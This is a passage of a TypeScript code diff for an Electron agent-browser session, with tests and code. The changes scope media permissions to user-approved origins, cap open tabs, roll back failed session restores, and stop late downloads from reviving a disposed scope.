for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab()
})
}
expect(() =>
session.withBrowserScope('chat-pending-restore', () => session.restoreBrowserSession())
).toThrow('at most 96 live browser tabs')
expect(snapshots.get('chat-pending-restore')?.tabs).toEqual(savedTabs)
session.withBrowserScope('chat-cap-0', () => {
const [first, second] = session.getTabsState().tabs
session.closeTab(first.tabId)
session.closeTab(second.tabId)
})
const restored = session.withBrowserScope('chat-pending-restore', () => {
session.restoreBrowserSession()
return session.getTabsState()
})
expect(restored.tabs.map(({ url }) => url)).toEqual(savedTabs.map(({ url }) => url))
expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://saved-two.example/')
})
it('rolls back a failed restore and retries without duplicating tabs', () => {
const { persistence } = memoryBrowserPersistence({
'chat-retry': {
v: 1,
tabs: [
{ url: 'https://one.example/', pinned: false },
{ url: 'https://two.example/', pinned: true },
{ url: 'https://three.example/', pinned: false },
],
activeIndex: 2,
downloads: [],
},
})
const createdContents: MockView['webContents'][] = []
const onTabCreated = vi.fn((contents: WebContents) => {
createdContents.push(contents as unknown as MockView['webContents'])
if (createdContents.length === 2) throw new Error('instrumentation failed')
})
session = freshSession(win, { onTabCreated }, persistence)
expect(() =>
session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
).toThrow('instrumentation failed')
expect(session.withBrowserScope('chat-retry', () => session.peekTabsState().tabs)).toEqual([])
expect(createdContents).toHaveLength(2)
expect(createdContents.every((contents) => contents.close.mock.calls.length === 1)).toBe(true)
session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
expect(session.withBrowserScope('chat-retry', () => session.getTabsState())).toMatchObject({
activeTabId: '3',
tabs: [
{ tabId: '2', url: 'https://two.example/', pinned: true, active: false },
{ tabId: '1', url: 'https://one.example/', pinned: false, active: false },
{ tabId: '3', url: 'https://three.example/', pinned: false, active: true },
],
})
session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
expect(createdContents).toHaveLength(5)
})
it('quiesces live scopes without publishing session closure', () => {
const onTabsChanged = vi.fn()
const onSessionClosed = vi.fn()
@@ -1954,9 +2087,18 @@ describe('browser-agent session', () => {
expect(event.preventDefault).toHaveBeenCalledOnce()
})
it('permission handlers deny everything on the agent partition but the copy button and media', async () => {
it('grants media only after an active-page, origin-scoped user decision', async () => {
vi.mocked(win.isFocused).mockReturnValue(true)
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
const tab = session.ensureTab()
const ses = (tab.view as unknown as MockView).webContents.session
const contents = (tab.view as unknown as MockView).webContents
contents.isFocused.mockReturnValue(true)
const gestureHandler = contents.on.mock.calls.find(
([eventName]) => eventName === 'before-mouse-event'
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
gestureHandler?.({}, { type: 'mouseDown' })
const ses = contents.session
const requestHandler = ses.setPermissionRequestHandler.mock.calls[0][0] as (
wc: unknown,
permission: string,
@@ -1979,13 +2121,67 @@ describe('browser-agent session', () => {
expect(checkHandler(null, permission)).toBe(false)
}
// Media is the deliberate exception — the agent browser joins real
// meetings — but the grant is gated on the OS grant (mocked as granted
// here), so System Settings remains the real authority.
const mediaCallback = vi.fn()
requestHandler(null, 'media', mediaCallback, { mediaTypes: ['audio', 'video'] })
await vi.waitFor(() => expect(mediaCallback).toHaveBeenCalledWith(true))
expect(checkHandler(null, 'media', undefined, { mediaType: 'audio' })).toBe(true)
requestHandler(contents, 'media', mediaCallback, {
isMainFrame: true,
mediaTypes: ['audio'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
})
expect(mediaCallback).not.toHaveBeenCalled()
const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents)
expect(prompt).toMatchObject({
origin: 'https://example.com',
devices: ['microphone'],
})
await session.respondToMediaPermission(prompt?.requestId ?? '', true)
expect(mediaCallback).toHaveBeenCalledWith(true)
expect(
checkHandler(contents, 'media', 'https://example.com', {
isMainFrame: true,
mediaType: 'audio',
})
).toBe(true)
expect(
checkHandler(contents, 'media', 'https://example.com', {
isMainFrame: true,
mediaType: 'video',
})
).toBe(false)
expect(
checkHandler(contents, 'media', 'https://other.example', {
isMainFrame: true,
mediaType: 'audio',
})
).toBe(false)
expect(
checkHandler(contents, 'media', 'https://example.com', {
isMainFrame: false,
mediaType: 'audio',
})
).toBe(false)
mainFrameNavigationStarted(contents)
expect(
checkHandler(contents, 'media', 'https://example.com', {
isMainFrame: true,
mediaType: 'audio',
})
).toBe(false)
const staleGestureCallback = vi.fn()
requestHandler(contents, 'media', staleGestureCallback, {
isMainFrame: true,
mediaTypes: ['audio'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
})
expect(staleGestureCallback).toHaveBeenCalledWith(false)
expect(
session.mediaPermissionRequestForContents(contents as unknown as WebContents)
).toBeUndefined()
// Chromium routes navigator.clipboard.writeText through this one; denying
// it silently broke every copy button that does not use execCommand.
@@ -1995,6 +2191,174 @@ describe('browser-agent session', () => {
expect(checkHandler(null, 'clipboard-sanitized-write')).toBe(true)
})
it('default-denies hidden, subframe, origin-mismatched, and untyped media requests', () => {
const tab = session.ensureTab()
const contents = (tab.view as unknown as MockView).webContents
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
wc: unknown,
permission: string,
callback: (granted: boolean) => void,
details?: unknown
) => void
vi.mocked(win.isFocused).mockReturnValue(true)
contents.isFocused.mockReturnValue(true)
const gestureHandler = contents.on.mock.calls.find(
([eventName]) => eventName === 'before-mouse-event'
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
gestureHandler?.({}, { type: 'mouseDown' })
const hidden = vi.fn()
requestHandler(contents, 'media', hidden, {
isMainFrame: true,
mediaTypes: ['audio'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
})
expect(hidden).toHaveBeenCalledWith(false)
for (const details of [
{
isMainFrame: false,
mediaTypes: ['audio'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
},
{
isMainFrame: true,
mediaTypes: [],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
},
{
isMainFrame: true,
mediaTypes: ['audio'],
requestingUrl: 'https://other.example/',
securityOrigin: 'https://other.example',
},
]) {
const callback = vi.fn()
requestHandler(contents, 'media', callback, details)
expect(callback).toHaveBeenCalledWith(false)
}
expect(
session.mediaPermissionRequestForContents(contents as unknown as WebContents)
).toBeFalsy()
})
it('denies a pending media request when its document navigates or tab closes', () => {
vi.mocked(win.isFocused).mockReturnValue(true)
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
const tab = session.ensureTab()
const contents = (tab.view as unknown as MockView).webContents
contents.isFocused.mockReturnValue(true)
const gestureHandler = contents.on.mock.calls.find(
([eventName]) => eventName === 'before-mouse-event'
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
wc: unknown,
permission: string,
callback: (granted: boolean) => void,
details?: unknown
) => void
const request = (callback: (granted: boolean) => void) => {
gestureHandler?.({}, { type: 'mouseDown' })
requestHandler(contents, 'media', callback, {
isMainFrame: true,
mediaTypes: ['audio', 'video'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
})
}
const navigated = vi.fn()
request(navigated)
mainFrameNavigationStarted(contents)
expect(navigated).toHaveBeenCalledWith(false)
const closed = vi.fn()
request(closed)
session.closeTab(tab.id)
expect(closed).toHaveBeenCalledWith(false)
})
it('keeps the site denied when the operating system rejects an approved device', async () => {
setPlatform('darwin')
try {
vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('not-determined')
vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(false)
win.isFocused = vi.fn(() => true)
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
const tab = session.ensureTab()
const contents = (tab.view as unknown as MockView).webContents
contents.isFocused.mockReturnValue(true)
const gestureHandler = contents.on.mock.calls.find(
([eventName]) => eventName === 'before-mouse-event'
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
gestureHandler?.({}, { type: 'mouseDown' })
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
wc: unknown,
permission: string,
callback: (granted: boolean) => void,
details?: unknown
) => void
const callback = vi.fn()
requestHandler(contents, 'media', callback, {
isMainFrame: true,
mediaTypes: ['video'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
})
const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents)
await session.respondToMediaPermission(prompt?.requestId ?? '', true)
expect(systemPreferences.askForMediaAccess).toHaveBeenCalledWith('camera')
expect(callback).toHaveBeenCalledWith(false)
} finally {
setPlatform(realPlatform)
vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('granted')
vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(true)
}
})
it('fails a media prompt closed when the user does not answer it', async () => {
vi.useFakeTimers()
try {
win.isFocused = vi.fn(() => true)
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
const tab = session.ensureTab()
const contents = (tab.view as unknown as MockView).webContents
contents.isFocused.mockReturnValue(true)
const gestureHandler = contents.on.mock.calls.find(
([eventName]) => eventName === 'before-mouse-event'
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
gestureHandler?.({}, { type: 'mouseDown' })
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
wc: unknown,
permission: string,
callback: (granted: boolean) => void,
details?: unknown
) => void
const callback = vi.fn()
requestHandler(contents, 'media', callback, {
isMainFrame: true,
mediaTypes: ['audio'],
requestingUrl: 'https://example.com/',
securityOrigin: 'https://example.com',
})
await vi.advanceTimersByTimeAsync(30_000)
expect(callback).toHaveBeenCalledWith(false)
expect(
session.mediaPermissionRequestForContents(contents as unknown as WebContents)
).toBeUndefined()
} finally {
vi.useRealTimers()
}
})
it('leaves nothing of the signed-out user behind in the browser profile', async () => {
const clearStorageData = vi.fn(async () => {})
const clearCache = vi.fn(async () => {})
@@ -2235,6 +2599,41 @@ describe('browser-agent session', () => {
state: 'completed',
})
})
it('does not recreate a disposed scope when a download finishes later', () => {
const directory = mkdtempSync(join(tmpdir(), 'sim-browser-downloads-'))
const { persistence, snapshots } = memoryBrowserPersistence()
session = freshSession(win, {}, persistence, { getDirectory: () => directory })
const contents = (session.ensureTab().view as unknown as MockView).webContents
const webSession = contents.session as typeof contents.session & {
on: ReturnType<typeof vi.fn>
}
const willDownload = webSession.on.mock.calls.find(
([eventName]) => eventName === 'will-download'
)?.[1] as
| ((event: unknown, item: Record<string, unknown>, contents: unknown) => void)
| undefined
const item = {
getFilename: vi.fn(() => 'late.txt'),
getMimeType: vi.fn(() => 'text/plain'),
getReceivedBytes: vi.fn(() => 4),
getTotalBytes: vi.fn(() => 4),
setSavePath: vi.fn(),
cancel: vi.fn(),
on: vi.fn(),
once: vi.fn(),
}
willDownload?.({}, item, contents)
const done = item.once.mock.calls.find(([eventName]) => eventName === 'done')?.[1] as
| ((event: unknown, state: 'completed') => void)
| undefined
session.disposeBrowserScope('chat-test')
done?.({}, 'completed')
expect(session.getBrowserDownloadsState('chat-test').downloads).toEqual([])
expect(snapshots.has('chat-test')).toBe(false)
})
})
/**
+398 -54
View File
@@ -5,6 +5,8 @@ import type {
BrowserDataKind,
BrowserFindRequest,
BrowserFindResult,
BrowserMediaDevice,
BrowserMediaPermissionRequest,
BrowserOmniboxFocusMode,
BrowserPageIssue,
BrowserTabState,
@@ -91,6 +93,21 @@ export interface AgentTab {
syntheticForward?: { url: string; baseHistoryIndex: number }
preserveSyntheticForwardOnNextNavigation?: boolean
recoveringUnresponsive?: boolean
pendingMediaPermission?: PendingMediaPermission
mediaPermissionGrant?: MediaPermissionGrant
lastRealUserGestureAt?: number
}
interface PendingMediaPermission {
request: BrowserMediaPermissionRequest
documentUrl: string
callback: (permissionGranted: boolean) => void
timeout: ReturnType<typeof setTimeout>
}
interface MediaPermissionGrant {
origin: string
devices: Set<BrowserMediaDevice>
}
export interface BrowserSessionPersistence {
@@ -139,6 +156,10 @@ export interface AgentSessionEvents {
* must never outlive the reports.
*/
const MAX_RECENTLY_CLOSED_TABS = 10
const MAX_LIVE_TABS_PER_SCOPE = 32
const MAX_LIVE_TABS_GLOBAL = 96
const MEDIA_PERMISSION_GESTURE_WINDOW_MS = 10_000
const MEDIA_PERMISSION_PROMPT_TIMEOUT_MS = 30_000
export type BrowserShortcut = 'focus-omnibox' | 'new-tab' | 'close-tab' | 'find'
@@ -229,6 +250,23 @@ function createBrowserScopeState(): BrowserScopeState {
}
}
function liveBrowserTabCount(): number {
let count = 0
for (const state of browserScopeStates.values()) count += state.tabs.length
return count
}
function assertTabCapacity(): void {
if (tabs.length >= MAX_LIVE_TABS_PER_SCOPE) {
throw new SessionError(`A task browser can have at most ${MAX_LIVE_TABS_PER_SCOPE} open tabs.`)
}
if (liveBrowserTabCount() >= MAX_LIVE_TABS_GLOBAL) {
throw new SessionError(
`Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.`
)
}
}
const browserScopeStorage = new AsyncLocalStorage<string>()
const browserScopeStates = new Map<string, BrowserScopeState>()
const browserScopeAliases = new Map<string, string>()
@@ -834,18 +872,9 @@ export async function importAgentCookies(
*/
const ALLOWED_SITE_PERMISSIONS = new Set(['clipboard-sanitized-write'])
/**
* Grants a getUserMedia request only when macOS has actually authorized the
* devices it names. Granting site permission without the OS grant makes the
* page fail with a misleading NotReadableError instead of a permission prompt,
* and macOS kills the process outright when the bundle lacks usage strings —
* so the OS is asked FIRST, which surfaces the system prompt on first use.
*/
async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): Promise<boolean> {
async function ensureOsMediaAccess(devices: readonly BrowserMediaDevice[]): Promise<boolean> {
if (process.platform !== 'darwin') return true
const wanted = mediaTypes && mediaTypes.length > 0 ? mediaTypes : ['audio', 'video']
for (const type of wanted) {
const device = type === 'video' ? 'camera' : 'microphone'
for (const device of devices) {
if (systemPreferences.getMediaAccessStatus(device) === 'granted') continue
const granted = await systemPreferences.askForMediaAccess(device).catch(() => false)
if (!granted) return false
@@ -853,38 +882,220 @@ async function ensureOsMediaAccess(mediaTypes: readonly string[] | undefined): P
return true
}
function mediaOrigin(candidate: unknown): string | null {
if (typeof candidate !== 'string' || candidate.length > 8_192) return null
try {
const url = new URL(candidate)
return url.protocol === 'https:' || url.protocol === 'http:' ? url.origin : null
} catch {
return null
}
}
function requestedMediaDevices(candidate: unknown): BrowserMediaDevice[] | null {
if (!Array.isArray(candidate) || candidate.length === 0) return null
const devices = new Set<BrowserMediaDevice>()
for (const type of candidate) {
if (type === 'audio') devices.add('microphone')
else if (type === 'video') devices.add('camera')
else return null
}
return [...devices]
}
function scopedTabForContents(contents: WebContents): { scopeId: string; tab: AgentTab } | null {
const scopeId = browserScopeIdForContents(contents)
if (!scopeId) return null
const tab = browserScopeStates
.get(scopeId)
?.tabs.find((candidate) => candidate.view.webContents === contents)
return tab ? { scopeId, tab } : null
}
function mediaRequestIsUserInitiated(scopeId: string, tab: AgentTab): boolean {
const win = panelWindow()
return (
resolveBrowserScopeId(scopeId) === getActiveBrowserScopeId() &&
browserScopeStates.get(scopeId)?.activeTabId === tab.id &&
isPanelVisible() &&
Boolean(win && !win.isDestroyed() && win.isFocused()) &&
tab.view.webContents.isFocused() &&
typeof tab.lastRealUserGestureAt === 'number' &&
Date.now() - tab.lastRealUserGestureAt <= MEDIA_PERMISSION_GESTURE_WINDOW_MS
)
}
function settleMediaPermission(tab: AgentTab, allowed: boolean): boolean {
const pending = tab.pendingMediaPermission
if (!pending) return false
tab.pendingMediaPermission = undefined
clearTimeout(pending.timeout)
try {
pending.callback(allowed)
} catch (error) {
logger.warn('Could not answer a browser media permission request', {
error: getErrorMessage(error),
})
}
return true
}
function revokeTabMediaPermissions(tab: AgentTab, publish = true): void {
const hadPrompt = settleMediaPermission(tab, false)
tab.mediaPermissionGrant = undefined
tab.lastRealUserGestureAt = undefined
if (hadPrompt && publish) publishPageIssue(tab)
}
/** Pending prompt metadata for the renderer-owned permission bubble. */
export function mediaPermissionRequestForContents(
contents: WebContents
): BrowserMediaPermissionRequest | undefined {
return tabForContents(contents)?.pendingMediaPermission?.request
}
/** Applies the user's response only to the exact live document that requested it. */
export async function respondToMediaPermission(requestId: string, allowed: boolean): Promise<void> {
const tab = activeTab()
const pending = tab?.pendingMediaPermission
if (!tab || !pending || pending.request.requestId !== requestId) return
if (!allowed) {
settleMediaPermission(tab, false)
publishPageIssue(tab)
return
}
const contents = tab.view.webContents
const currentOrigin = mediaOrigin(contents.getURL())
if (
currentOrigin !== pending.request.origin ||
contents.getURL() !== pending.documentUrl ||
getBrowserScopeId() !== getActiveBrowserScopeId() ||
!isPanelVisible()
) {
settleMediaPermission(tab, false)
publishPageIssue(tab)
return
}
const osAllowed = await ensureOsMediaAccess(pending.request.devices)
if (
tab.pendingMediaPermission !== pending ||
tab.view.webContents.isDestroyed() ||
mediaOrigin(contents.getURL()) !== pending.request.origin ||
contents.getURL() !== pending.documentUrl ||
tab.id !== currentScope.activeTabId ||
getBrowserScopeId() !== getActiveBrowserScopeId() ||
!isPanelVisible()
) {
if (tab.pendingMediaPermission === pending) {
settleMediaPermission(tab, false)
publishPageIssue(tab)
}
return
}
if (osAllowed) {
tab.mediaPermissionGrant = {
origin: pending.request.origin,
devices: new Set(pending.request.devices),
}
}
settleMediaPermission(tab, osAllowed)
publishPageIssue(tab)
}
/**
* Default-deny hardening for the agent partition. Site permissions remain
* denied apart from ALLOWED_SITE_PERMISSIONS and camera/microphone — the agent
* browser has to join a Google Meet or a Zoom web client like a real browser,
* and those are dead without getUserMedia. The OS grant still gates every
* media request, so the user's System Settings choice is the real authority.
* denied apart from ALLOWED_SITE_PERMISSIONS. Media is granted only after a
* renderer-owned, document-scoped prompt validates the requesting origin,
* active visible tab, recent native user input, and operating-system grant.
* Uploads use Chromium's native file chooser and downloads are saved into the
* device-level browser download directory.
*/
function configureAgentPartition(ses: Session): void {
if (configuredPartitions.has(ses)) return
configuredPartitions.add(ses)
ses.setPermissionRequestHandler((_wc, permission, callback, details) => {
ses.setPermissionRequestHandler((contents, permission, callback, details) => {
if (permission === 'media') {
const mediaTypes = (details as { mediaTypes?: readonly string[] })?.mediaTypes
void ensureOsMediaAccess(mediaTypes).then(callback)
const scoped = scopedTabForContents(contents)
const request = details as {
isMainFrame?: boolean
mediaTypes?: readonly string[]
requestingUrl?: string
securityOrigin?: string
}
const devices = requestedMediaDevices(request.mediaTypes)
const requestingOrigin = mediaOrigin(request.requestingUrl)
const securityOrigin = mediaOrigin(request.securityOrigin)
const currentOrigin = mediaOrigin(contents.getURL())
if (
!scoped ||
request.isMainFrame !== true ||
!devices ||
!requestingOrigin ||
(securityOrigin !== null && securityOrigin !== requestingOrigin) ||
currentOrigin !== requestingOrigin ||
!mediaRequestIsUserInitiated(scoped.scopeId, scoped.tab)
) {
callback(false)
return
}
revokeTabMediaPermissions(scoped.tab, false)
const prompt: BrowserMediaPermissionRequest = {
requestId: generateId(),
origin: requestingOrigin,
devices,
}
scoped.tab.pendingMediaPermission = {
request: prompt,
documentUrl: contents.getURL(),
callback,
timeout: setTimeout(
bindToBrowserScope(scoped.scopeId, () => {
if (scoped.tab.pendingMediaPermission?.request.requestId !== prompt.requestId) return
settleMediaPermission(scoped.tab, false)
publishPageIssue(scoped.tab)
}),
MEDIA_PERMISSION_PROMPT_TIMEOUT_MS
),
}
const win = panelWindow()
if (win && !win.isDestroyed()) win.webContents.focus()
withBrowserScope(scoped.scopeId, () => publishPageIssue(scoped.tab))
return
}
callback(ALLOWED_SITE_PERMISSIONS.has(permission))
})
ses.setPermissionCheckHandler((_wc, permission, _origin, details) => {
ses.setPermissionCheckHandler((contents, permission, requestingOrigin, details) => {
if (permission === 'media') {
if (process.platform !== 'darwin') return true
const mediaType = (details as { mediaType?: string })?.mediaType
if (mediaType === 'video')
return systemPreferences.getMediaAccessStatus('camera') === 'granted'
if (mediaType === 'audio') {
return systemPreferences.getMediaAccessStatus('microphone') === 'granted'
}
return (
systemPreferences.getMediaAccessStatus('microphone') === 'granted' ||
systemPreferences.getMediaAccessStatus('camera') === 'granted'
if (!contents || details.isMainFrame !== true) return false
const scoped = scopedTabForContents(contents)
const grant = scoped?.tab.mediaPermissionGrant
const checkedOrigins = [
mediaOrigin(details.securityOrigin),
mediaOrigin(requestingOrigin),
mediaOrigin(details.requestingUrl),
].filter((origin): origin is string => origin !== null)
const currentOrigin = mediaOrigin(contents.getURL())
const device =
details.mediaType === 'audio'
? 'microphone'
: details.mediaType === 'video'
? 'camera'
: null
return Boolean(
scoped &&
grant &&
device &&
checkedOrigins.length > 0 &&
checkedOrigins.every((origin) => origin === grant.origin) &&
currentOrigin === grant.origin &&
grant.devices.has(device) &&
(process.platform !== 'darwin' ||
systemPreferences.getMediaAccessStatus(device) === 'granted')
)
}
return ALLOWED_SITE_PERMISSIONS.has(permission)
@@ -983,17 +1194,33 @@ function configureAgentPartition(ses: Session): void {
publishBrowserDownloads(scopeId)
logger.info('Agent browser download started', { filename })
item.on('updated', (_updatedEvent, state) => {
const liveScopeId = resolveBrowserScopeId(scopeId)
if (
suspendedBrowserScopes.has(liveScopeId) ||
!browserScopeStates.has(liveScopeId) ||
!browserDownloadsByScope.get(liveScopeId)?.includes(download)
) {
return
}
updateDownloadProgress(download, item)
download.state = state === 'interrupted' ? 'interrupted' : 'progressing'
publishBrowserDownloads(scopeId)
publishBrowserDownloads(liveScopeId)
})
item.once('done', (_doneEvent, state) => {
activeDownloadPaths.delete(savePath)
const liveScopeId = resolveBrowserScopeId(scopeId)
if (
suspendedBrowserScopes.has(liveScopeId) ||
!browserScopeStates.has(liveScopeId) ||
!browserDownloadsByScope.get(liveScopeId)?.includes(download)
) {
return
}
updateDownloadProgress(download, item)
download.state = state
trimBrowserDownloads(scopeId)
publishBrowserDownloads(scopeId)
withBrowserScope(scopeId, persistBrowserSession)
trimBrowserDownloads(liveScopeId)
publishBrowserDownloads(liveScopeId)
withBrowserScope(liveScopeId, persistBrowserSession)
if (state === 'completed') {
logger.info('Agent browser download completed', { filename })
if (process.platform === 'darwin') app.dock?.downloadFinished(savePath)
@@ -1294,6 +1521,15 @@ function createTabView(): WebContentsView {
zoomFactor: getBrowserDefaultZoomFactor(),
},
})
try {
return initializeTabView(view, scopeId)
} catch (error) {
if (!view.webContents.isDestroyed()) view.webContents.close()
throw error
}
}
function initializeTabView(view: WebContentsView, scopeId: string): WebContentsView {
view.setBackgroundColor(browserBackgroundColor())
const contents = view.webContents
registerAgentWebContents(contents)
@@ -1329,7 +1565,10 @@ function createTabView(): WebContentsView {
return
}
const tab = tabs.find((entry) => entry.view.webContents === contents)
if (tab?.id === currentScope.activeTabId) currentScope.visibleTabUserSelected = true
if (tab?.id === currentScope.activeTabId) {
currentScope.visibleTabUserSelected = true
if (mouse.type === 'mouseDown') tab.lastRealUserGestureAt = Date.now()
}
})
)
contents.on(
@@ -1385,6 +1624,7 @@ function createTabView(): WebContentsView {
return
}
dismissFind(tab.id)
revokeTabMediaPermissions(tab, false)
tab.pageIssue = {
kind: 'crashed',
reason: details.reason,
@@ -1401,6 +1641,7 @@ function createTabView(): WebContentsView {
const tab = tabs.find((entry) => entry.view === view)
if (!tab || tab.pageIssue?.kind === 'crashed') return
dismissFind(tab.id)
revokeTabMediaPermissions(tab, false)
tab.pageIssue = {
kind: 'unresponsive',
url: tab.pendingRestoreUrl || contents.getURL(),
@@ -1423,6 +1664,7 @@ function createTabView(): WebContentsView {
const tab = tabs.find((entry) => entry.view === view)
if (!isDispatchingAgentInput(contents) && tab?.id === currentScope.activeTabId) {
currentScope.visibleTabUserSelected = true
if (input.type === 'keyDown' && !input.isAutoRepeat) tab.lastRealUserGestureAt = Date.now()
}
const shortcut = browserShortcutForInput(input)
if (!shortcut) return
@@ -1503,6 +1745,8 @@ function createTabView(): WebContentsView {
'did-start-navigation',
bindToBrowserScope(scopeId, (details) => {
if (!details.isMainFrame) return
const tab = tabs.find((entry) => entry.view === view)
if (tab) revokeTabMediaPermissions(tab)
notePageNavigationStarted(contents)
events?.onTabNavigated(contents, false)
})
@@ -1519,7 +1763,11 @@ function createTabView(): WebContentsView {
)
contents.on(
'destroyed',
bindToBrowserScope(scopeId, () => events?.onTabClosed(contents))
bindToBrowserScope(scopeId, () => {
const tab = tabs.find((entry) => entry.view === view)
if (tab) revokeTabMediaPermissions(tab, false)
events?.onTabClosed(contents)
})
)
events?.onTabCreated(contents)
@@ -1704,6 +1952,8 @@ function addTabInternal({
activate = true,
notify = true,
}: AddTabOptions = {}): AgentTab {
assertTabCapacity()
const previousActiveTab = activeTab()
const transferBrowserFocus =
activate &&
(currentScope.focusedBrowserTabId !== null ||
@@ -1717,6 +1967,9 @@ function addTabInternal({
insertPinnedAware(tab)
if (currentScope.automationTabId === null) currentScope.automationTabId = tab.id
if (activate || currentScope.activeTabId === null) {
if (previousActiveTab && previousActiveTab.id !== tab.id) {
revokeTabMediaPermissions(previousActiveTab, false)
}
currentScope.activeTabId = tab.id
applyActiveTabThrottling()
if (!currentScope.restoring) layout()
@@ -1730,6 +1983,30 @@ function addTabInternal({
return tab
}
function closeTabAfterFailedRestore(tab: AgentTab): void {
try {
revokeTabMediaPermissions(tab, false)
} catch (error) {
logger.warn('Could not revoke media permissions after browser restore failed', {
error: getErrorMessage(error),
})
}
try {
detachIfAttached(tab.view)
} catch (error) {
logger.warn('Could not detach browser tab after browser restore failed', {
error: getErrorMessage(error),
})
}
try {
if (!tab.view.webContents.isDestroyed()) tab.view.webContents.close()
} catch (error) {
logger.warn('Could not close browser tab after browser restore failed', {
error: getErrorMessage(error),
})
}
}
/** Marks the visible page as user-selected without blocking automation on it. */
export function claimActiveTabForUser(): AgentTab | null {
const tab = activeTab()
@@ -1751,8 +2028,6 @@ export function restoreBrowserSession(): void {
}
if (currentScope.restored) return
currentScope.activationOnly = false
currentScope.restored = true
currentScope.restoring = true
const scopeId = getBrowserScopeId()
let snapshot: BrowserSessionSnapshot | null = null
@@ -1766,28 +2041,91 @@ export function restoreBrowserSession(): void {
}
}
const restoredTabs: AgentTab[] = []
const selectedIndexes = new Set<number>()
if (snapshot) {
browserDownloadsByScope.set(
scopeId,
snapshot.downloads.map((download) => ({ ...download }))
)
publishBrowserDownloads(scopeId)
for (const entry of snapshot.tabs) {
const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false })
tab.pendingRestoreUrl = entry.url
restoredTabs.push(tab)
if (entry.url !== 'about:blank') {
void tab.view.webContents.loadURL(entry.url).catch(() => {})
}
for (
let index = 0;
index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE;
index++
) {
if (snapshot.tabs[index]?.pinned) selectedIndexes.add(index)
}
currentScope.activeTabId = restoredTabs[snapshot.activeIndex]?.id ?? restoredTabs[0]?.id ?? null
currentScope.automationTabId = currentScope.activeTabId
currentScope.lastPersistedSnapshot = JSON.stringify(snapshot)
if (selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE && snapshot.tabs[snapshot.activeIndex]) {
selectedIndexes.add(snapshot.activeIndex)
}
for (
let index = 0;
index < snapshot.tabs.length && selectedIndexes.size < MAX_LIVE_TABS_PER_SCOPE;
index++
) {
selectedIndexes.add(index)
}
}
const selectedEntries = snapshot
? [...selectedIndexes]
.sort((left, right) => left - right)
.map((index) => ({ entry: snapshot.tabs[index], sourceIndex: index }))
: []
const availableSlots = Math.max(0, MAX_LIVE_TABS_GLOBAL - liveBrowserTabCount())
if (selectedEntries.length > availableSlots) {
throw new SessionError(
`Sim can have at most ${MAX_LIVE_TABS_GLOBAL} live browser tabs. Close a tab in another task and try again.`
)
}
const state = browserScopeState(scopeId)
const previousState = {
tabs: [...state.tabs],
activeTabId: state.activeTabId,
automationTabId: state.automationTabId,
nextTabId: state.nextTabId,
restored: state.restored,
lastPersistedSnapshot: state.lastPersistedSnapshot,
}
const previousDownloads = browserDownloadsByScope.get(scopeId)
const restoredTabs: AgentTab[] = []
state.restoring = true
try {
if (snapshot) {
browserDownloadsByScope.set(
scopeId,
snapshot.downloads.map((download) => ({ ...download }))
)
for (const { entry } of selectedEntries) {
const tab = addTabInternal({ pinned: entry.pinned, activate: false, notify: false })
tab.pendingRestoreUrl = entry.url
restoredTabs.push(tab)
if (entry.url !== 'about:blank') {
void tab.view.webContents.loadURL(entry.url).catch(() => {})
}
}
const restoredActiveIndex = selectedEntries.findIndex(
({ sourceIndex }) => sourceIndex === snapshot.activeIndex
)
state.activeTabId = restoredTabs[restoredActiveIndex]?.id ?? restoredTabs[0]?.id ?? null
state.automationTabId = state.activeTabId
state.lastPersistedSnapshot = JSON.stringify(browserSessionSnapshot())
}
state.restored = true
} catch (error) {
for (const tab of restoredTabs) closeTabAfterFailedRestore(tab)
state.tabs = previousState.tabs
state.activeTabId = previousState.activeTabId
state.automationTabId = previousState.automationTabId
state.nextTabId = previousState.nextTabId
state.restored = previousState.restored
state.lastPersistedSnapshot = previousState.lastPersistedSnapshot
if (previousDownloads) browserDownloadsByScope.set(scopeId, previousDownloads)
else browserDownloadsByScope.delete(scopeId)
applyActiveTabThrottling()
throw error
} finally {
state.restoring = false
}
currentScope.restoring = false
applyActiveTabThrottling()
if (snapshot) publishBrowserDownloads(scopeId)
const active = activeTab()
if (active) {
layout()
@@ -1904,6 +2242,10 @@ export function switchTab(tabId: string): AgentTab {
const transferBrowserFocus =
currentScope.focusedBrowserTabId !== null ||
tabs.some((entry) => entry.view.webContents.isFocused())
const previousActiveTab = activeTab()
